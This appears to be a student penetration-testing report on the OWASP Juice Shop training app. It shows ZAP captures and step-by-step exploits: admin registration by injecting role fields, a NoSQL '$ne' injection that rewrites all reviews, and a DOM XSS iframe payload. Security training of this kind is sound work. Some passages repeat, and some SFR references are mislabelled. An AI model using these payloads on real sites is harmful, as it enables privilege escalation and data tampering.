Screenshot of ZAP 2.14.0 showing a successful POST request to the /api/Users endpoint. The request payload is a JSON object containing an email that is already in use.

```

POST http://127.0.0.1:3000/api/Users/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
content-length: 261
origin: https://127.0.0.1:3000
{"email":"apoorva@juice.com","password":"Apoorva@1","passwordRepeat":"Apoorva@1","securityQuestion":{"id":1,"question":"Your eldest siblings middle name?"}, "createdAt": "2024-04-27T20:39:08.215Z", "updatedAt": "2024-04-27T20:39:08.215Z", "securityAnswer": "Avanish"}

```


The response is a 400 Bad Request with a validation error message:

```

HTTP/1.1 400 Bad Request
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: #/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 92
ETag: W/"5c-0kvud4j0vflWwfxvT0bfk3UYck0"
{"message": "Validation error", "errors": [{"field": "email", "message": "email must be unique"}]}

```

Below the requests table, the OWASP Juice Shop application is shown. A user session is logged in, displaying the 'All Products' page. The sidebar shows navigation links for account management, orders, privacy, and logout.



c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

We initially registered new customers using the email Apoorva@juice.com, the password Apoorva@1, and the security answer "Avanish" in order to test the "Admin Registration" functionality of the TOE. The ZAP API /api/Users/ was fired up following login. A validation error stating that the email address must be unique was encountered when we attempted to send this request to the requester. Either deleting the email field or changing the role to "Admin" or isAdmin to true fixed the error. As an alternative, you can obtain the SFR by changing the email to Apoorva.admin@juice.com, which grants admin permissions.

12) FDP_ACF.1.4 The TOE shall explicitly deny access of subjects to objects based on the following additional rules:

1. no normal or admin user can register himself/herself or another user as an admin user.

Related Vulnerabilities Challenges:

1. Admin Registration

Tested Vulnerabilities Challenges:

VC: Admin Registration

a) Description of penetration testing that was carried out.

1. There are few way we can do this task.
2. First, register as a new customer. Fill email:Apoorva@juice.com, password:Apoorva@1 set security answer: Avanish. Then click Register.
3. Now using the new email click on Login using above credentials. This triggers the api: api/Users / in ZAP.
4. Now in ZAP we can see the request body for this. Send this to requester.

5. When send through requester it gives error saying that Validation error, email must be unique.
 6. In requester there are 2 ways:
 - i. So, we can remove the email field and send which solves the error.
 - ii. Or, use the field “role”: “Admin” or “isAdmin” : true.
 7. One more way is to change the email as Apoorva.admin@juice.com
 8. This will give the users admin rights and Admin Registration is done.
- b) **Outcomes (evidence) of the penetration testing in (a):**

The screenshot shows a Firefox browser window with the URL <https://127.0.0.1:3000/#/register>. The page title is "User Registration". The registration form fields are:

- Email: apoorva@juice.com (highlighted in red)
- Password: (redacted)
- Repeat Password: (redacted)
- Show password advice: (checkbox)
- Security Question: Your eldest sibling's middle name? (dropdown menu)
- Answer: Avanish

A validation error message is displayed next to the Email field: "Password must be 5-40 characters long". A tooltip icon indicates this is a required field. The browser status bar at the bottom shows "History 11" and "WebSockets 1570".

Screenshot of a Firefox browser window showing the OWASP Juice Shop login page at <https://127.0.0.1:3000/#/login>. The login form has 'Email' set to 'apoorva@juice.com' and 'Password' set to 'Apoorva@1'. A tooltip on the right says: 'This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!' with a 'Me want it!' button.

Below the browser is ZAP 2.14.0, showing a list of sites and a captured POST request to <http://127.0.0.1:3000/api/Users/> with JSON payload:

```
{
  "email": "apoorva@juice.com",
  "password": "Apoorva@1",
  "passwordRepeat": "Apoorva@1",
  "securityQuestion": {
    "id": 1,
    "question": "Your eldest siblings middle name?"
  },
  "createdAt": "2024-04-27T20:39:08.215Z",
  "updatedAt": "2024-04-27T20:39:08.215Z",
  "securityAnswer": "Avanish"
}
```

The ZAP interface also shows a table of captured requests and responses, with the last row selected.

Untitled Session - originalcoursework - ZAP 2.14.0

```
HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Location: /api/Users/22
Content-Type: application/json; charset=utf-8
{"status": "success", "data": {"username": "", "role": "customer", "deluxeToken": "", "lastLoginIp": "0.0.0.0", "profileImage": "/assets/public/images/uploads/default.svg", "isActive": true, "id": 22, "email": "apoorva@juice.com", "updatedAt": "2024-04-29T10:37:34.105Z", "createdAt": "2024-04-29T10:37:34.105Z", "deletedAt": null}}
```

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
14....	→ Pr...	4/29/24, 11:29:30...	POST	http://127.0.0.1:3000/rest/user/login	500	Internal ...	4...	1,203	bytes	Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	5...	11	bytes	Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	7...	11	bytes	Medium	JSON		
14....	→ Pr...	4/29/24, 11:32:44...	GET	http://127.0.0.1:3000/api/SecurityQuestions/	200	OK	3...	1,934	bytes	Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/Users/	201	Created	4...	308	bytes	Medium	JSON		
Alerts	Pr	2	11	15	13	Main Proxy: 127.0.0.1:8081				Current Scans	0	0	0

Untitled Session - originalcoursework - ZAP 2.14.0

```
POST http://127.0.0.1:3000/api/SecurityAnswers/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux arch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
Content-Length: 55
{"UserId":22,"answer":"Avanish","SecurityQuestionId":1}
```

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
14....	→ Pr...	4/29/24, 11:29:30...	POST	http://127.0.0.1:3000/rest/user/login	500	Internal ...	4...	1,203	bytes	Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	5...	11	bytes	Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	7...	11	bytes	Medium	JSON		
14....	→ Pr...	4/29/24, 11:32:44...	GET	http://127.0.0.1:3000/api/SecurityQuestions/	200	OK	3...	1,934	bytes	Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/Users/	201	Created	4...	308	bytes	Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/SecurityAnswers/	201	Created	2...	226	bytes	Medium	JSON		
Alerts	Pr	2	11	15	13	Main Proxy: 127.0.0.1:8081				Current Scans	0	0	0

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
14...	M...	4/29/24, 2:29:44 PM	POST	http://127.0.0.1:3000/api/Users/	201	Created	6...	295 bytes		Medium		JSON	
14...	Pr...	4/29/24, 2:29:44 PM	GET	http://127.0.0.1:3000/103.js	304	Not Mod...	9...	0 bytes		Medium			
14...	Pr...	4/29/24, 2:29:44 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	1...	79 bytes		Info			
14...	Pr...	4/29/24, 2:29:44 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	4...	79 bytes		Medium		JSON	

Screenshot of ZAP 2.14.0 showing a successful POST request to the /api/Users endpoint. The request payload is a JSON object containing an email that is already in use.

```

POST http://127.0.0.1:3000/api/Users/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
content-length: 261
origin: https://127.0.0.1:3000
{"email":"apoorva@juice.com","password":"Apoorva@1","passwordRepeat":"Apoorva@1","securityQuestion":{"id":1,"question":"Your eldest siblings middle name?"}, "createdAt": "2024-04-27T20:39:08.215Z", "updatedAt": "2024-04-27T20:39:08.215Z", "securityAnswer": "Avanish"}

```


The response is a 400 Bad Request with a validation error message:

```

HTTP/1.1 400 Bad Request
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: #/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 92
ETag: W/"5c-0kvud4j0vflWwfxvT0bfk3UYck0"
{"message": "Validation error", "errors": [{"field": "email", "message": "email must be unique"}]}

```

Below the requests table, the OWASP Juice Shop application is shown. A user session is logged in, displaying the 'All Products' page. The sidebar shows navigation links for account management, orders, privacy, and logout.



c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

We initially registered new customers using the email Apoorva@juice.com, the password Apoorva@1, and the security answer "Avanish" in order to test the "Admin Registration" functionality of the TOE. The ZAP API /api/Users/ was fired up following login. A validation error stating that the email address must be unique was encountered when we attempted to send this request to the requester. Either deleting the email field or changing the role to "Admin" or isAdmin to true fixed the error. As an alternative, you can obtain the SFR by changing the email to Apoorva.admin@juice.com, which grants admin permissions.

13) SFR Identifier:

- FDP_SDI.2.2 Upon detection of a data integrity error, the TOE shall decline any operation related to the particular piece of data.**

Related Vulnerabilities Challenges:

- NoSQL Manipulation**
- DOM XSS (Document Object Model)**
- CSFR**
- Forged Review**
- Forged Feedback**
- Manipulate Basket**

- 7. Product Tampering**
- 8. Change Bender's Password**
- 9. Reset Bender's Password**
- 10. Reset Bjoern's Password**
- 11. Reset Jim's Password**

Tested Vulnerabilities Challenges:

NoSQL Manipulation: Update multiple product reviews at the same time.

- a) **Description of penetration testing that was carried out.**
 1. Logged in using email id: apoorva@gmail.com, password: apoorva@123.
 2. Click the item apple juice, under reviews we can see one existing review from admin@juice-sh.op as "I bought it and would buy it again"
 3. I have added one more review as "Not a fan of it".
 4. A 200 ok response code was received with GET
`http://127.0.0.1:3000/rest/products/3/reviews` api endpoint.
 5. So to update multiple reviews, so we need an api endpoint that updates multiple reviews.
 6. In server.js file, I found an api
`app.patch('/rest/products/reviews', security.isAuthorized(), updateProductReviews());`
 7. Inside the updateProductReviews.ts files a code snippet

`db.reviews.update(`

```
{_id: req.body.id }, forgedReviewChallenge { $set: { message: req.body.message } }, {  
multi: true }
```

8. Copy/send GET the `http://127.0.0.1:3000/rest/products/3/reviews` request to the requester and edit the method to PATCH and remove the 3 i.e. the productid, to update multiple products review.
9. It should look like PATCH <http://127.0.0.1:3000/rest/products/reviews>.

10. Update the request body to

```
{"message": "Not a fan of it Apoorva", "id": {"$ne": -1}}
```

11. \$ne will compare two values and returns: True if the values are not comparable.
False when the values are equal.

12. This will update multiple reviews under different items to “Not a fan of it Apoorva”,
resulting in NoSQL manipulation.

b) Outcomes/Evidence of Penetration Testing

Eggfruit Juice (500ml)

Now with even more exotic flavour.

8.99€

Reviews (1)

admin@juice-sh.op
I bought it, would buy again. 5/7


Review

Not a fan of it Apoorva

Max. 160 characters

23/160

Close Submit



The screenshot shows the GitHub repository for the OWASP Juice Shop project. The repository page for `server.ts` is displayed. The code editor shows the `server.ts` file with several API endpoints defined using Express.js. The file includes logic for wallet management, user security, and various juice-related endpoints like `/rest/juice`. The GitHub interface shows the repository structure, issues, and pull requests. The commit history and file changes are also visible.

```
Project juice-shop
Manage
Code
Build
Deploy
Monitor
Analyze

app.get('/rest/wallet/balance', security.appendUserId(), wallet.getWalletBalance())
app.put('/rest/wallet/balance', security.appendUserId(), wallet.addWalletBalance())
app.get('/rest/deluxe-membership', deluxe.deluxeMembershipStatus())
app.post('/rest/deluxe-membership', security.appendUserId(), deluxe.upgradeToDeluxe())
app.get('/rest/memories', memory.getMemories())
app.get('/rest/chatbot/status', chatbot.status())
app.post('/rest/chatbot/respond', chatbot.process())
/* NoSQL API endpoints */
app.get('/rest/products/:id/reviews', showProductReviews())
app.put('/rest/products/:id/reviews', createProductReviews())
app.patch('/rest/products/reviews', security.isAuthorized(), updateProductReviews())
app.post('/rest/products/reviews', security.isAuthorized(), likeProductReviews())

/* Web3 API endpoints */
app.post('/rest/web3/submitKey', checkKeys.checkKeys())
app.get('/rest/web3/nftUnlocked', checkKeys.nftUnlocked())
app.get('/rest/web3/nftMintListen', nftMint.nftMintListener())
app.post('/rest/web3/walletNFTVerify', nftMint.walletNFTVerify())
app.post('/rest/web3/walletExploitAddress', web3Wallet.contractExploitListener())

/* B2B Order API */
app.post('/b2b/v2/orders', b2bOrder())

/* File Serving */
app.get('/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg', easterEgg())
```

Screenshot of a browser window showing the source code of a file at <https://gitlab.com/kalilinux/packages/juice-shop/-/blob/kali/master/routes/updateProductReview.js>. The code contains several vulnerabilities, including SQL injection and forged review challenges.

```

8
9 const challenges = require('../data/datacache').challenges
10 const db = require('../data/mongodb')
11 const security = require('../lib/insecurity')
12
13 // vuln-code-snippet start noSqlReviewsChallenge forgedReviewChallenge
14 module.exports = function productReviews () => {
15   return (req, res, next) => {
16     const user = security.authenticatedUsers.from(req) // vuln-code-snippet vuln-line forgedReviewChallenge
17     db.reviews.update( // vuln-code-snippet neutral-line forgedReviewChallenge
18       { _id: req.body.id }, // vuln-code-snippet vuln-line noSqlReviewsChallenge forgedReviewChallenge
19       { $set: { message: req.body.message } },
20       { multi: true } // vuln-code-snippet vuln-line noSqlReviewsChallenge
21     ).then(
22       (result) => {
23         challengeUtils.solveIf(challenges.noSqlReviewsChallenge, () => { return result.modified > 1 }) // vuln-code-snippet vuln-line solvedChallenge
24         challengeUtils.solveIf(challenges.forgedReviewChallenge, () => { return user?.data && result.original })
25         res.json(result)
26       }, (err) => {
27         res.status(500).json(err)
28       }
29     )
30   }
31 // vuln-code-snippet end noSqlReviewsChallenge forgedReviewChallenge
32

```

The browser also shows a search results window for "update" containing 12 of 14 matches.

Screenshot of ZAP 2.14.0 showing a network session. A request is made to `http://127.0.0.1:3000/rest/products/3/reviews` with the following details:

Request:

```

Method: GET
Header: Text
Body: Text
GET http://127.0.0.1:3000/rest/products/3/reviews HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/

```

Response:

```

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#jobs
Content-Type: application/json; charset=utf-8
Content-Length: 299

```

```

{
  "status": "success",
  "data": [
    {
      "message": "I bought it, would buy again. 5/7",
      "author": "admin@juice-sh.op",
      "product": 3,
      "likesCount": 0,
      "likedBy": []
    },
    {
      "id": "EhrveXBReTmEoJtQw",
      "product": "3",
      "message": "Not a fan of it Apoorva",
      "author": "Anonymous",
      "likesCount": 0,
      "likedBy": []
    }
  ]
}

```

The ZAP interface also displays a table of captured requests and responses.

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
615	Pr...	5/3/24, 6:55:14 AM	GET	http://127.0.0.1:3000/rest/products/3/revie...	200	OK	9...	172 bytes	Medium	JSON		
617	Pr...	5/3/24, 6:55:14 AM	GET	http://127.0.0.1:3000/rest/products/3/revie...	200	OK	2...	172 bytes	Medium	JSON		
618	Pr...	5/3/24, 6:55:14 AM	GET	http://127.0.0.1:3000/rest/products/3/revie...	304	Not Mod...	7...	0 bytes	Medium	Informati...		
619	Pr...	5/3/24, 6:56:29 AM	PUT	http://127.0.0.1:3000/rest/products/3/revie...	201	Created	1...	20 bytes	Medium	JSON		
620	Pr...	5/3/24, 6:56:29 AM	GET	http://127.0.0.1:3000/rest/products/3/revie...	200	OK	2...	299 bytes	Medium	JSON		
621	Pr...	5/3/24, 6:56:29 AM	GET	http://127.0.0.1:3000/rest/products/3/revie...	200	OK	1...	299 bytes	Medium	JSON		

The screenshot shows the ZAP interface with a successful PATCH request. The Request tab shows the following details:

```

PATCH http://127.0.0.1:3000/rest/products/reviews HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0)
Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
    
```

The Body section contains the JSON payload:

```
{"message": "Apoorva's Update ZAP", "likesCount": 0, "likedBy": [], "id": {"$ne": -1}}
```

The Response tab shows the following details:


```

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 7674
    
```

The Body section shows the updated review data:

```
{"modified": 26, "original": [{"message": "Wait for a 10% Steam sale of Tabletop Simulator!", "author": "bjoern@owasp.org", "product": 35, "likesCount": 0, "likedBy": [], "id": "67zNmpspEM3HCXx2s"}, {"message": "I'd stand on my head to make you a deal for this piece of art.", "author": "stan@juice-sh.op", "product": 35}], "Time": 53 ms, "Body Length": 7,674, "Total Length": 8,062 bytes}
```

A screenshot of a web browser window titled "OWASP Juice Shop". The URL bar shows "https://127.0.0.1:3000/#/search". The main content area displays a green success message: "You successfully solved a challenge: NoSQL Manipulation (Update multiple product reviews at the same time.)". Below this message, there is a section titled "All Products" featuring three items: "Apple Juice (1000ml)" for 1.99€, "Apple Pomace" for 0.89€, and "Banana Juice (1000ml)" for 1.99€. Each item has an "Add to Basket" button. On the left side of the screen, there is a vertical sidebar with various icons and labels, including "Out", "Off", "0", "0", "2", "3", "2", and a plus sign. On the right side, there is another vertical sidebar with "Sites", "Start", "Start", "Start", "Off", "0", "2", "4", "4", and a plus sign. The top of the browser window shows a toolbar with various icons and a status bar indicating the time as 20:12.



c) **Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:**

At first, we added a review to an Apple Juice product and signed in using an already-existing email address. We were able to change several reviews by locating an API endpoint in the server.js code (`app.patch('/rest/products/reviews', security.isAuthorized(), updateProductReviews())`). We tested a NoSQL modification vulnerability by creating a PATCH request with this endpoint and setting the message field to "Not a fan of it Apoorva" for all reviews. This revealed that the SFR (Security Functional Requirement) had been broken.


2. DOM XSS (Document Object Model): Perform a *DOM XSS* attack with `<iframe src="javascript:alert('xss')">`.

a) **Description of penetration testing that was carried out.**

1. In the score-board find XSS Dom, under hint find DOM payload which is `<iframe src="javascript:alert('xss')">`.
2. This is of great help because this payload can be used to probe XSS vulnerabilities.
3. Copy/paste the payload in juice shop search box and press enter.
4. This instantiates a pop-up box with XSS written inside it.

5. Open inspect and inside page elements search for XSS.
 6. A successful DOM XSS attack is performed.

b) Outcomes/Evidence of Penetration Testing




The screenshot shows the OWASP Juice Shop homepage. At the top, there are two progress bars: "Hacking Challenges" at 10% and "Coding Challenges" at 0%. Below them, a summary says "11/168 Challenges Solved". On the right, there's a sidebar with a "Me want it!" button and a list of challenges with their completion status (e.g., 3/28, 3/22, 3/43). A note at the bottom states: "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!". The bottom navigation bar includes tabs for "All", "XSS", "Sensitive Data Exposure", "Improper Input Validation", "Broken Access Control", and "Unvalidated Input".

```
<!DOCTYPE html>
<html class="fontawesome-i2svg-active fontawesome-i2svg-complete" lang="en">[event]
  <head>[</>]
    <div class="mat-app-background bluegrey-lightgreen-theme" style="margin-bottom: 50px;">
      <div class="cc-window cc-floating cc-type-info cc-theme-classic cc-bottom cc-right cc-color-override--1225450786" role="dialog" aria-live="polite" aria-label="cookieconsent" aria-describedby="cookieconsent-desc" style="position: absolute; bottom: 50px; width: 280px; height: 60px; border: 1px solid #ccc; background-color: #fff; padding: 10px; border-radius: 5px; z-index: 1000; font-size: 0.9em; font-family: inherit; font-weight: normal; color: inherit; line-height: 1.2; margin: 0 auto; left: 50%; transform: translateX(-50%);">
        <script src="https://127.0.0.1:3000/zapCallBackUrl/_792648697155715923/inject.js"></script>
        <script src="https://127.0.0.1:3000/zap-hud-management" src="https://zap/zapCallBackUrl/_9187349248440995857/file/manage_https://127.0.0.1:3000/_frameId=management&tabId=8411485-727" scrolling="no" style="position: fixed; right: 0px; bottom: 50px; width: 28px; height: 28px; border: none; overflow: hidden; z-index: 2147483647; title: 'Management Area' sandbox='allow-storage-access-by-user-activation allow-scripts allow-same-origin allow-popups allow-forms allow-top-navigation'"></iframe>
      </div>
    </div>
  </body>
</html>
```

The screenshot shows the OWASP Juice Shop search results page. The URL in the address bar is https://127.0.0.1:3000/#/search?q=<iframe src%3D"javascript:alert('xss')">. The search results panel shows a single result: "127.0.0.1:3000" with the word "xss" next to it. An "OK" button is visible. The bottom navigation bar includes tabs for "All", "XSS", "Sensitive Data Exposure", "Improper Input Validation", "Broken Access Control", and "Unvalidated Input".

```
<!-- Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors. - SPDX-License-Identifier: MIT-->
<!DOCTYPE html>
<html class="fontawesome-i2svg-active fontawesome-i2svg-complete" lang="en">[event]
  <head>[</>]
    <div class="mat-app-background bluegrey-lightgreen-theme" style="margin-bottom: 50px;">
      <div class="cc-window cc-floating cc-type-info cc-theme-classic cc-bottom cc-right cc-color-override--1225450786" role="dialog" aria-live="polite" aria-label="cookieconsent" aria-describedby="cookieconsent-desc" style="position: absolute; bottom: 50px; width: 280px; height: 60px; border: 1px solid #ccc; background-color: #fff; padding: 10px; border-radius: 5px; z-index: 1000; font-size: 0.9em; font-family: inherit; font-weight: normal; color: inherit; line-height: 1.2; margin: 0 auto; left: 50%; transform: translateX(-50%);">
        <script src="https://127.0.0.1:3000/zapCallBackUrl/_792648697155715923/inject.js"></script>
        <script src="https://127.0.0.1:3000/zap-hud-management" src="https://zap/zapCallBackUrl/_9187349248440995857/file/manage_https://127.0.0.1:3000/_frameId=management&tabId=6706322-124" scrolling="no" style="position: fixed; right: 0px; bottom: 50px; width: 28px; height: 28px; border: none; overflow: hidden; z-index: 2147483647; title: 'Management Area' sandbox='allow-storage-access-by-user-activation allow-scripts allow-same-origin allow-popups allow-forms allow-top-navigation'"></iframe>
      </div>
    </div>
  </body>
</html>
```



- c) **Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:**
 For looking into XSS vulnerabilities, the payload proved useful which we found in score-board. When we entered this payload into the Juice Shop search field, a pop-up box with the message "XSS" appeared. By examining the page elements, we were able to confirm the existence of the XSS and the success of the DOM XSS attack. This revealed a potential

security risk and exposed a weakness in the Security Functional Requirements (SFR) pertaining to input validation